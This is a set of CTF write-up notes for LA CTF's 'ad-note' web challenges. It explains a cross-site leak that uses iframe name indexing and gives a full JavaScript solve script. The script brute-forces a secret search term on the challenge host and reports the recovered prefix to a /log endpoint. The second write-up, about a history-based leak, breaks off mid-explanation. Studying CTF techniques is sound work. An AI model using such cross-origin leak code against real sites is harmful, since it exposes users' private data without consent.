| Event Name | LA CTF |
|---|---|
| GitHub URL | ‣ itended |
| Challenge Name | ad-note |
for ad-note I had a solution that was too slow but still interesting. By setting the attribute name=NAME, all ad iframes get the the name NAME, and reading on the window reference .NAME would return the first ad iframe.
You could also iterate over the indices like [0] to [10] to get all iframe windows, including the result iframe. You can compare two window references cross-origin with === to see at what index the first ad iframe was, most often index 0. But there's a small chance the result iframe was randomly ordered before it, so the first ad index with match index 1. This would only happen if there is a result iframe that can displace it.
So by reloading every possible character until one gets displaced, we know that character was correct, and continue from there. This requires some 🎰 luck though because window loads take some time. could be significantly faster with caching but that was disabled
for (let i = 0; i < w.length; i++) {
if (w[i] == w.NAME) console.log(i)
}
<script>
const ALPHABET = "345";
//const HOST = "<https://notes-revenge-wfgqp.instancer.lac.tf>";
const HOST = "<http://localhost:4000>";
//w = window.open("about:blank");
const ws = Array(ALPHABET.length).fill().map(() => window.open("about:blank"));
let stopSearch = false;
const attemptCounts = Array(ALPHABET.length).fill(0);
function sleep(ms) {
return new Promise(resolve => setTimeout(resolve, ms));
}
async function test(w, search) {
w.location = HOST + "/?" + new URLSearchParams({
name: "x",
referrerPolicy: "NAME",
search
});
// Wait for iframes to be loaded
while (true) {
try {
if (stopSearch || w.NAME) break;
} catch (e) { }
await sleep(1);
}
// Check if result took place of first NAME
console.log(search, "Length:", w.length);
for (let i = 0; i < w.length; i++) {
if (w[i] == w.NAME) {
console.log(search, "Found at index:", i);
// Wait for same-origin
w.location = "about:blank";
while (true) {
try {
if (w.origin) break;
} catch (e) { }
await sleep(1);
}
return i;
}
}
};
async function repeatTest(w, search, resolve, index) {
while (!stopSearch) {
const result = await test(w, search);
attemptCounts[index]++;
if (result != 0) {
// If result got in between
stopSearch = true;
resolve(search);
return;
}
}
}
async function find(prefix) {
stopSearch = false;
const promises = [];
for (let i = 0; i < ALPHABET.length; i++) {
const search = prefix + ALPHABET[i];
promises.push(new Promise(resolve => repeatTest(ws[i], search, resolve, i)));
}
return await Promise.race(promises);
}
// Log stats every 5 seconds
setInterval(() => {
fetch(`/log?stats=${attemptCounts}`);
}, 5000);
(async () => {
let prefix = "";
for (let i = 0; i < 8; i++) {
const nextChar = await find(prefix);
prefix += nextChar;
console.log("Found character:", nextChar, "Current prefix:", prefix);
fetch(`/log?PREFIX=${prefix}`);
}
})();
</script>
<!-- <http://127.0.0.1:8000/> -->
`
| Event Name | LA CTF (inferred from .lac.tf domain) |
|---|---|
| GitHub URL | https://github.com/bliutech/my-ctf-challenges/blob/main/lactf-2026/ad-note/solve.html |
| Challenge Name | ad-note revenge (chained with job-board) |
This challenge involves chaining two challenges ("job-board" and "ad-note revenge") to execute a Cross-Site Leak (XS-Leak). Because the target iframes are cross-domain, direct DOM access is restricted by the Same-Origin Policy. However, an attacker can still interact with iframe.contentWindow[i].location and monitor the browser's History API.
The exploit leverages a differential behavior in browser history navigation:
search=${current}).about:srcdoc.